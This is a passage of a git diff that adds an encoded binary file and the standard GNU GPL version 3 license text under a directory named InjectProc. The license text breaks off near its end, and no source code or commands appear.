zUwH9s-<+?^nDMXKhWd?L)v+gnp9`)QKT-NflNsn@$-OQ_Dc*t* zg2pUAc))^D+beDL#V>>V?eJo>KHa^?uYdXbgfn(`ez?TQZggGDD-|}c>|o_j8J(*& zt@`b7&I<}kWu~8XqkO`T>{xwq9X=taMZ?wPU8Q)GkJL zqw9k1zfxiI%3pKoVVo_36-2Y0_EnsHPh(OpJbKZ8r+)$7D2?{^9l33IKni`+)C&M? z>yQ9QxPL<(^wtZVr?*?EJnWMY*g7GwH9}ykguq@2f!!1WyCnoRPzdax5ZF8+u*pJT zbA`a}3V}Tr0{fJ>{X!}$si*O1xyG~614a+L5*~oC#7=Lc3(7H^wJ7zIDX|x1OKp(?b~!OA|hwi6vbFXRY}kv36#BYAl=CF&upQXNA-3 zY!lk_+QNkv+@|OzSo#*&p0;okdwVTQ=qBLDS2!r`thwR@0xJ-pjj^W4fSi)<;9zfQ z`jo&7D>-FTOM8mkfo_3eu@$m9*kY{>!*3#_iVh4hr4z&9U~P^>LRuJQvN^4Y7B!az z^fH0QTYv<66P_Lv9p}WF0^%t*FdaoJ&7pgmW%WV~trS=5r*xbgvQQH1GMvh%?-8-@ z6B!}6r)$H0QKJ{(nF19;_zf}{A>31zAQTZoeOKEP-or`;G%PbUC4yuT!fI2MCqhkX z&a>}lG54wTg9a#xl1V)p09p1v6@J=(=3W(k_t$%`YP?USJZU@`J@86;fVod)CVU-$ zwn|3@gJSESUNN~jb|s##3rJ=ZZzUQ7Syt$*3=Z%DuAwZC3| z3|H(J`I;rVQAL&ZF!jd@rLcGU=yHJa<6@t)6S)+xA$&K^4U)7fwPZV0)$VA z-V_R;zURVqKL2UCj(-00-qk+;YW-oS#n*3sl`2fjOFiT(&MI2r=Cw3~UZmZL6hJE$lwkN{I_ucTL zyJ-H*FM1BR5HvVq^TD5gxs^(Mg8sWGI_Oiupl)UbFV#x}4wJ{*OZ+wGTTraH-At_xmW+JJ%~-D^J)M^@WRHkwV$$EfNtF zHLTrD+sW}~GRr?E+j1**i$&+i}pDKDxT zK07hGI^*%IvZIQsztV4JO)P%$sQAPWLw>I)zfjq+!zX7CZYdvFT6XJHmZX1&65*pwzDs}47~Z)+$RYUV@KghPp zl(lYV&X&O*>4PKsnXO3}{+3Hs^vK$Wx6hthB%4)Jc4bf8r;ng?^M~sv=XOg=uuFGO zh`t^3Mz>utw|vVy;x4^wyLo;~VA_y)pmJa)jfDkm0|$RF|N2`l)n&^oKmMkmY|X&PZ_^g9d4o95NbBNpr^fN>Ysa^I+jrL? z@BH#5`5$z!@a^Z|SoX)t9NFXPy)rG!{L9;YSg@gQmE(h~)t`t5osS##Y01E^Coc^9 zvD9YE%`!W4~Hp5>c~w8CNDhcnbRWa>P<(>ZHXlV7lR=-8s|~fdye;W z*cwqX@Z9;x7ALC(qpF9D^>Ek<6zAGTw%BYh`K^U=%j?3F$sMYftv>`p1ij8XE;!eH ze!KB@W|>1OJ8fP$d10B{^rW3?=`RaaEtFZWTclWl*5~6DQI}jxej}~NcmrD5PnZ%0 zUfFuR?e(7y%3|jPuP9x*XWmb*&wE^Y@XzAw2Nms3{1Eu=LYZ>@)p;W)Ie$B5?Sw}k zX3X8^cKS+-UXLb0fL8Bb^G!jUtKYQCZ*Q7adZ>$hcg6TnL0?(+l)pSLT${bDV(RIb z{I*}O-L!YzF`F;ti|x(qYAZ4i$d0*G$xo)vdgvT#dSli)$H;r{UbXFD*|9oq(yW@i zw61+idkRMQ-b}sbxU+gc3dor_c%lwD$lgd zIIEg-@5w;3WA`SO=2sSNKL4>YVrQmsc1Qn=L}7|W(yA>97b4e8%Nb&~^}P!V*5%|M z{B?U#=GZ;KPrgctyWQVmK;=+bM5|htce2a}9lMfgR(nl#(52Je4%KUayj$^0_3qm2 z(8=q3O^c$gNlvSa!zW)Uzudz^uye58*4zYBuT-VxkJ4@VZx?NFzdm65*0VIGYFqxV zQevGnZu`~>;cMFAlS}27%>v%>HN8CH^0xdQ z#4V=d#g!dr*Ssz8UvgG*^^j}bWUJ&hQ5`qsPMn3+RvQ<@UH%PudKV1X z?t*rh1uXi`;(Xwitodum*41ZK{eR6a%Cu4)9c*{JcObIAJIKzbcNpeAhg|mv%vle% z`&ak43y}(Y)%ELvWtMkhVq?#_--$d*j#ng^Tbv(7#H)$KRgfHDLUPPViWM!jL@MKl-2{GPpGQF{m#-D``_6A{P^L=7hC4Wq9J*fPaiZy2A4*k9KQZ+ zY#RcN@o#wi>+}CVjsLs)|DU!~U;9S;|DN@qKL7vIcw_$?`=1*FhFtep8sK~8_dk8{ z%)J&HlGi7P#Tz1nOT+T@x_+8v1mx1 z<mS#b_2muuzjIBQGj;qQx<);l&i1V#P*?xgXER%e|5vRkwl#)_^S|3( z8v9>VpX>8WQ)0o8erIVK)Bk@*pX>8OV`71|tuYY%;0KBQpHf=!)*O8f-#O6w|6Tg* ztPkHnETHawjjDo7r-6^?76d|7CqXz`6!v0d2vrbu@SY-3#q=)(-q1 zYpg#T`v03OPebr|VgdaF>4o<>+JOJ34!-44XFui}vaK=ojg5u+`kd_}{QsxT)la(g zYpyYcI-;(u-g=+|`&qVQG<1R~z{M0-r}F>covHU2QNp zv=MEU@FxSn;TQ;jq=ckXPc9zkFZ`c{7|*PI4MF7L%HZbVJ2wW)!8Wn&`s8tCLmq8H z+YFrt#Xy@3DIbzvov{x4&XDoJo%8g`Y-o(J@r`Zjlfl8G?r4LU-`9;P1HS}PI;19# z5B{77vQU2|lQ2&uU2`Fhi{^;$#@MWj7IbX#_(1(x8#&Mw@|d*hkoHB#w=Vk{g9Du# zH9q(@LYexnqSz+px%C*^e`kC*#%^7-pu552gRv9GQQbU*c}NY8Ee>xwz*AlucQqd6q4?G@%WC{?0nubE^yUB!j;&+pw zTBA`T6lyfpNb3oo7)ur;0~#t!Re**Hq1sbJeV@=3C<7p|--$?ehJpbHFIKs6`%mX3 z2B=Sr`fJTK&Dm#-_J2e74KKQ$7Yj!H|K{&K82zvPJ1X}XkNWcbaZw*Fw~o)(-2Ugb zRbQU3M}4&1IzFFKe`EY$OmJhQzPvGhsQd1^Yd+r}_4$rl*IazY@oOBvFVpzt$MuUY zH+THMXnpzejrwbkU%r1{bh)|x&z&usK)c@6vA71~} z?MrOjxUo^s7xCkQE#vbPC`(^EJba_~|9Sk>vsev1%fsr{7>F_rc+Ts&^lvVo>$A&% zzGzT?@V8%c`TUD7zM!5Z)2FXKd_8>;K=d4-Gd}B)!PmX1K1W}&&&yz5pRW4w_4Ebm zsP(J`l+owUJg3r_=l1w|aG%vgAMoo9Eu#*6pEA1oVOKz23@M$#JwuB=#P;zSVnf@+ z{s(zlsWJRWi*45PtP}bgbr!SX1bK{~07yzmT5Ypsd^R6rx}kVLI+llp_&jBO_M=Rc zt&5kH0T6XV9kt?zwSk3DkA0F1DId}^x*!hw6`z~r>x4RRc+gLEaf#1`^662Ao)}@} zpbn@@ov&Fv4S~QXfs_uZP7lblvZ+31;|qPr>vL=u6Ge}8NYjY;kQkz)AvB;vgYm`F zJs;&VeCR{Uh6b)tN}vls9z%3$Dh>U8KMs_z@&SkQ8^4|{qYRWKX6gS< z2<=KBr9Q_bw*m`k?`pnTc(~zg8$EMgy1;?{7`}p209f&&i}c`A|5I{ z0iN<_SNOm7Sca2EB_O5#`yuw%K>bIljcc#6;iWa#Rjbe4f>hizL4+6GRc|*US2=c`sKR;IWm628-zpgbFANMlz z>$91QuTOt2oxXg1{Cr=b3_k8<=GSL47q3r$#ACwi2X}78`HTOXgRc0){dDec960B3 zf5X5!cF$c0KQ)(e>2Z$c&f$2?WcZ8u{8$FvsX3Qz7s~07(l}+b@02cH76U36d60%u1jLFGCLosNqZWi%6IWNnT9QrngxCEjVoMxg zQo_0!=7iWWd}3k)BJ7Dof^}lj3;sX4h>;>Do8T>22Sy5%fWHMJMNDSEjMkEpf+q*k zgSczx``hzO!a3G#!2IN+d zz7!O|4lq+i4wJ*l^i;Z;45N@-Il&|l+6X2xXeSz^2LlC|4yKJIiZrU zqeVj(tiT)3dWR*nf;PN}51eJhkBkEuBiJh9?in8uE}j(<9TOHQ_vqQr#kHq6L>?SD zElfV$qvr<`-sv-_r#L1yP(Cd%JW?Lw(K8_=rl;pHJ8SpAn3#}=pzs7S2$08k^o)y^ z4~Yq$5fTv?(D`6S=K{D6!Z*HaadQ zcCCA+til#o>7N=ouI@T0SfC(~#(%;4xNn^t_rCgDaqp|8 zlY8GfP9-%9#Bh^}zoJ DtS)sr literal 0 HcmV?d00001 diff --git a/InjectProc/LICENSE b/InjectProc/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/InjectProc/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit 